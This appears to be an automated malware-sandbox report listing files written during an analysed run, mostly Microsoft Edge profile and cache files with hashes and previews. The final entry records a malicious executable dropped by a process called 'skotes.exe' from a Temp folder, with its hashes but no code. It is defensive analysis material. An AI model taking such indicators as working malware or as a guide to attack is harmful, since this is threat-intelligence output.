C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4168e834-c535-4938-8b26-bf552d50847e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14979
Entropy (8bit):	5.632632234244537
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwjt8y2YIKf+qNrB:gIuERzA83h09RZxct8y2YIKfHNd
MD5:	97DE0F49485432C783EB97FD617D2785
SHA1:	04CBF3D4F08D99A5635F5A03B388DD03BC2A06D5
SHA-256:	0FF65BFC10B14C0D9D80FE7A5A42EEC38BE5F9FFF0B485C362E2533324D91056
SHA-512:	AF78668773D375077D36EE9594B3682694A87482AD09A5BABBA5416964C3CC8711EE31123E6A7A726F8B3DD81C8BE32B2222BEA440646944E0A8D2AC673E2C76
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7f0c0e5f-9a65-4d46-8a99-5ae70717c4a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14979
Entropy (8bit):	5.632644576877374
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwjJ8y9nIKf+qNrB:gIuERzA83h09RZxcJ8y9nIKfHNd
MD5:	470CE5532431E3E156A05C134282D7AD
SHA1:	8FA7B0EDCCABFBBB07C4501B1A1662FF4951171D
SHA-256:	069B66219996C390DEE1D083D0D152C3777D70F8D89D429E03EAFEF515A3E938
SHA-512:	56AC918B7A4F9326D10626AA95159C4663D499AEF149CD45D178371DAA59A3D74A61D9DA95C41539CED1BDEE3D0CD5D2A13F8B65D3761ABAE04B412E472E3016
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8a53437a-d063-4245-ba2b-25f3570ed5d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632459832594993
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y2YIKf+qNrB:gIuERzA83h09RZxc68y2YIKfHNd
MD5:	96F77624C893DC9C74949A7F3DD7DD05
SHA1:	6D55DCF77E1586C84E39009332C5F9A3DBBB726A
SHA-256:	6D5603AC9901B49BF030001AE76BD65FBEC374239677D35CBEDC71CC093D0AEE
SHA-512:	EE9F225DBE4254B0FEF2297C585460B74FAB3A982D5D2356198B7DBAC239239FD4C7EE0047558A23DCDDF0A373E2E3C083A0F572EC9DBE664B35534270BB1E59
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674D89E3-1EF0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03092458082801041
Encrypted:	false
SSDEEP:	192:Qo9RmNDsqg2KxKhqmNEq+tD6DIftG4J+lDjsn8y08Tcm2RGOdBx:QrRhFWR6GQ4slD408T2RGOD
MD5:	3DF12A522F23457383307B1C6A68675B
SHA1:	51150E443131DB9F4598B623927630DAB310F995
SHA-256:	5B1849010D19736C3653500823671C55822FD745227969C10578C0C3982D09B3
SHA-512:	F24C0B406152049AB851877BF030BB6063665F3FE5164BD4DE4145D8CB0F7757E3BBCFD1A48090F02051A15870481CE962835CD0F8077766B462EF23E97277FD
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@................K...K..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0......C<>.Z...................C<>.Z..................UMA.PersistentHistograms.DriveType......8...i.y.[".................................................i.y..Yd........A...........................7o.I'.Y.".4.............8o.I'.Y.................UMA.PersistentHistograms.HistogramsInStartupFile........ ...i.y.......7o.I'.Y..C<>.... ...i.y.......7o.I'.Y.7o.I........i.y..Yd........A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.........i.y.Pq.3................94.0.992.31-64".en-US*...Windows NT..10.0.1904224..x86_64..\|.......".To Be Filled By O.E.M....x86_64:F..variations_seed_etag.."mOB9Fluqaq+mietxhYXSL2cAH0KxdzECs1csHpZVA18="P....5...............4.>.2...:..............0..,.......TelemetryPopSampleSampling......Default.................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674D89E4-AC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.027628058986926544
Encrypted:	false
SSDEEP:	192:QT6HgzrN4hW/NEhCIu+6WgJnMNn8y08Tcm2RGOdBc:Qew4h0E6dpMN08T2RGOD
MD5:	D3B69CC6DDD4F46A6E2177D52BE21479
SHA1:	57BB256294B090D3DC064271A5252B9DC586D9AF
SHA-256:	28082B80509C47AC7704AF816D618EEC1237AF239B1B171C9C596ECE948E4187
SHA-512:	6C89A58D411847605B62A9E550CB7980B20600F33A4963B94EF9678D190677C6D80CD9FECE5C97A64EB6635CE0E6958875DB1645B61E8B833862FEE86911A9C1
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@................E..HE..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0......C<>.Z...................C<>.Z..................UMA.PersistentHistograms.DriveType......8...i.y.[".................................................i.y..Yd........A...........................7o.I'.Y.".4.............8o.I'.Y.................UMA.PersistentHistograms.HistogramsInStartupFile........ ...i.y.......7o.I'.Y..C<>.... ...i.y.......7o.I'.Y.7o.I........i.y..Yd........A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.........i.y.Pq.3................94.0.992.31-64".en-US*...Windows NT..10.0.1904224..x86_64..\|.......".To Be Filled By O.E.M....x86_64:F..variations_seed_etag.."mOB9Fluqaq+mietxhYXSL2cAH0KxdzECs1csHpZVA18="P....5...............4.>.2...:..............0..,.......TelemetryPopSampleSampling......Default.................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	152
Entropy (8bit):	4.846101405296782
Encrypted:	false
SSDEEP:	3:Fg/fltlK7D2yQ9Bu2jVuDgmWUJ62+I3fdlYlptll:qf1KryvpMgmTb3f0
MD5:	67C6B27EC7A07DD8AA0BE242CDBDC8ED
SHA1:	7284B4A8D5433D34FEC9741FD53B0E97F369A91A
SHA-256:	AB2C8B35BB1F7D9F035F3B36B3665022E6FA2595D79DDEBC48CF12176B955EF6
SHA-512:	C67E81973E59E24AC59FCF88CDD1D5F28853943B5332714945D3F11A455C5784B33E5BF28D1977BCD9BA7701E28D49EF42C6056FDF544259C4B4787DC8758C0F
Malicious:	false
Reputation:	unknown
Preview:	sdPC....................+.^..h#A...0.ER."mOB9Fluqaq+mietxhYXSL2cAH0KxdzECs1csHpZVA18="..................baf89b04-ec85-4201-8b33-0b186effe467............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.2975361124918859
Encrypted:	false
SSDEEP:	24:dRdu/EiHyI+Ra82/CLFdR2vGD/SJ0Yvae5WkE8txuEyGkGTm4rkCdpWEEVVo0g8v:wx9F1IohSdesk9xXytGACtQVjmBa
MD5:	22546422BF75A4EE30E03B69D90E9DF5
SHA1:	665BF967C4CE9BC26542AFAEE4CD9438E07DE9A8
SHA-256:	F3890059F6CE7F39CB1845DD919079680959F9FBBC72060DE39C2AC7B23C0434
SHA-512:	F99679D0C48F4C79D01FAD662B8F9763214A8E4F523FBEC04F5889F948B2A5493812E17D8838DCE3059B0E578AABE918EFE65FADA1E336A274E2CFD3A21F93D2
Malicious:	false
Reputation:	unknown
Preview:	............$...).......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.4859886077304933
Encrypted:	false
SSDEEP:	96:VZvIS9IS5e0ISSUFISSIIS6ISpyISpwIS8RISeISpISmW+ISOoIS8ZIS8lIS5Ela:VZizD4hmTdnVy
MD5:	6C25E867B515517774BB0C09FB455BD4
SHA1:	47C486FC6B2921AA8E87BFE4AC0DBB28BBF4A2D9
SHA-256:	69993F0996A6FCEFC1606AFD0DDBD3EE806FA46D9A862840D5747DC3F56FAF82
SHA-512:	07A51C9632C00C58A1D2002DA6896DB6C09A3FEFBCBE732BCEDF09964699075B5627D2DB053D27406FDBDE027E47DC8DE4C8E8B277FC04EEDD520312329A9B3E
Malicious:	false
Reputation:	unknown
Preview:	................*...................................................................w......7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	2.59490661824394
Encrypted:	false
SSDEEP:	3:gem3:gL3
MD5:	E60DFE28E77A79CD2CAA4F53BD711995
SHA1:	2A150938498D9778DAF21F87B3E52ABDD4084716
SHA-256:	D5E1FB030857E079A8FD6811C81BF756D23CED9AF5DC299354C88F89B763415E
SHA-512:	B2ED5D4C3EEB946C2C869988E227ACD771614D559E1C108578546AA919E74251B92C7A1241D5E113018AB20A4295BBBCC12B7C520FB1C13DB242EC1B02B74F43
Malicious:	false
Reputation:	unknown
Preview:	94.0.992.31

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23c82.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23dab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23dca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23e76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23f70.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b235428e-6019-4bd7-82d1-4cd3a6e3cc8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14979
Entropy (8bit):	5.632644576877374
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwjJ8y9nIKf+qNrB:gIuERzA83h09RZxcJ8y9nIKfHNd
MD5:	470CE5532431E3E156A05C134282D7AD
SHA1:	8FA7B0EDCCABFBBB07C4501B1A1662FF4951171D
SHA-256:	069B66219996C390DEE1D083D0D152C3777D70F8D89D429E03EAFEF515A3E938
SHA-512:	56AC918B7A4F9326D10626AA95159C4663D499AEF149CD45D178371DAA59A3D74A61D9DA95C41539CED1BDEE3D0CD5D2A13F8B65D3761ABAE04B412E472E3016
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe98f7ef-78dd-474e-8560-cb62b9a06e55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	14979
Entropy (8bit):	5.632632234244537
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwjt8y2YIKf+qNrB:gIuERzA83h09RZxct8y2YIKfHNd
MD5:	97DE0F49485432C783EB97FD617D2785
SHA1:	04CBF3D4F08D99A5635F5A03B388DD03BC2A06D5
SHA-256:	0FF65BFC10B14C0D9D80FE7A5A42EEC38BE5F9FFF0B485C362E2533324D91056
SHA-512:	AF78668773D375077D36EE9594B3682694A87482AD09A5BABBA5416964C3CC8711EE31123E6A7A726F8B3DD81C8BE32B2222BEA440646944E0A8D2AC673E2C76
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1760256
Entropy (8bit):	7.945871277203016
Encrypted:	false
SSDEEP:	24576:ZnTW/4kUmaVGnJpr7R2cdyITOuw2W03Un1uS7p7tReBbpAJO5Jo1zcR:tTW/Y4Jp0c0ETw2En1Z7FtsbpA4jEoR
MD5:	BA8F4E56BC87DD31C14F261FCB6FC787
SHA1:	E489F9DE5C0A3200C1EB0750BB780EE0CCBB5787
SHA-256:	B48CD4D2E3CF5422795B27120CB8E7E9D266455AA5E6B94E7F3B81DC07E50179
SHA-512:	14A867F735244D79844A64566B5984B77A4E24DFBA7F98264E480A56771E754BBF6E0A561D8E739A5C0438235E8E774B7CC52C7A8D99C850A227206E37F49800
Malicious:	true
